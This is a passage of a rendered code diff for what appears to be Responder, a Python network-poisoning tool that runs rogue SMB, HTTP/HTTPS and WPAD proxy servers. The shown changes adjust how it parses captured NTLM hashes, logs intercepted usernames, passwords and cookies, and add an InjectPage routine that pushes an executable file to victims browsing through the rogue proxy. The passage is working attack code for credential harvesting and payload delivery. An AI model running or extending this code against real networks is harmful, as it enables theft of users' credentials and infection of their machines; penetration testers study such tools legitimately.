else:
|
||||
return False
|
||||
if SecBlobLen > 220:
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
print 'LMHASHLEN:',struct.unpack('<H',data[89:91])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
@@ -692,7 +699,7 @@ def ParseShare(data):
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
if SecBlobLen < 220:
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
||||
@@ -700,7 +707,7 @@ def ParseSMBHash(data,client):
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
if SecBlobLen > 220:
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
@@ -1600,21 +1607,20 @@ def WpadCustom(data,client):
|
||||
return False
|
||||
|
||||
def WpadForcedAuth(Force_WPAD_Auth):
|
||||
if Force_WPAD_Auth == "ON":
|
||||
if Force_WPAD_Auth == True:
|
||||
return True
|
||||
else:
|
||||
if Force_WPAD_Auth == False:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == "ON":
|
||||
if Basic == True:
|
||||
return IIS_Basic_401_Ans()
|
||||
if Basic == "OFF":
|
||||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
def ServeEXE(data,client, Filename):
|
||||
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
|
||||
print Message
|
||||
logging.warning(Message)
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
@@ -1701,7 +1707,7 @@ def PacketSequence(data,client):
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
@@ -1721,7 +1727,7 @@ def PacketSequence(data,client):
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
@@ -1737,7 +1743,7 @@ class HTTP(BaseRequestHandler):
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and Force_WPAD_Auth == "OFF":
|
||||
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
||||
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
||||
if Verbose:
|
||||
print Message
|
||||
@@ -1748,7 +1754,6 @@ class HTTP(BaseRequestHandler):
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass#No need to be verbose..
|
||||
self.request.close()
|
||||
|
||||
|
||||
##################################################################################
|
||||
@@ -1776,8 +1781,21 @@ def HandleGzip(Headers, Content, Payload):
|
||||
else:
|
||||
return False
|
||||
|
||||
def InjectPage(data, client):
|
||||
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
|
||||
if IsExecutable(FILENAME):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return False
|
||||
|
||||
def InjectData(data):
|
||||
Payload = config.get('HTTP Server','HTMLToServe')
|
||||
Payload = HTMLToServe
|
||||
if len(data.split('\r\n\r\n'))>1:
|
||||
try:
|
||||
Headers, Content = data.split('\r\n\r\n')
|
||||
@@ -1904,8 +1922,10 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
if i is soc:
|
||||
out = self.connection
|
||||
try:
|
||||
if len(config.get('HTTP Server','HTMLToServe'))>5:
|
||||
if len(HTMLToServe)>5:
|
||||
data = InjectData(i.recv(8192))
|
||||
if InjectPage(i.recv(8192),self.client_address[0]):
|
||||
data = InjectPage(i.recv(8192),self.client_address[0])
|
||||
else:
|
||||
data = i.recv(8192)
|
||||
except:
|
||||
@@ -2009,7 +2029,7 @@ def HTTPSPacketSequence(data,client):
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPSHash(NTLM_Auth,client)
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
if b:
|
||||
GrabCookie(data,client)
|
||||
@@ -2017,7 +2037,7 @@ def HTTPSPacketSequence(data,client):
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
print "[+]HTTPS-User & Password:", b64decode(''.join(b))
|
||||
logging.warning('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
|
||||
else:
|
||||
@@ -2313,15 +2333,15 @@ def Is_HTTPS_On(SSL_On_Off):
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_WPAD_On(on_off):
|
||||
if on_off == "ON":
|
||||
if on_off == True:
|
||||
return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
|
||||
if on_off == "OFF":
|
||||
if on_off == False:
|
||||
return False
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_SMB_On(SMB_On_Off):
|
||||
if SMB_On_Off == "ON":
|
||||
if LM_On_Off == "ON":
|
||||
if LM_On_Off == True:
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1LM)),thread.start_new(serve_thread_tcp,('', 139,SMB1LM))
|
||||
else:
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1)),thread.start_new(serve_thread_tcp,('', 139,SMB1))
|
||||
@@ -2511,7 +2531,7 @@ def main():
|
||||
thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS
|
||||
thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
|
||||
while num_thrd > 0:
|
||||
pass
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
|
||||
@@ -2520,3 +2540,5 @@ if __name__ == '__main__':
|
||||
main()
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
|
||||
@@ -445,4 +445,3 @@ if __name__ == '__main__':
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
raw_input()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user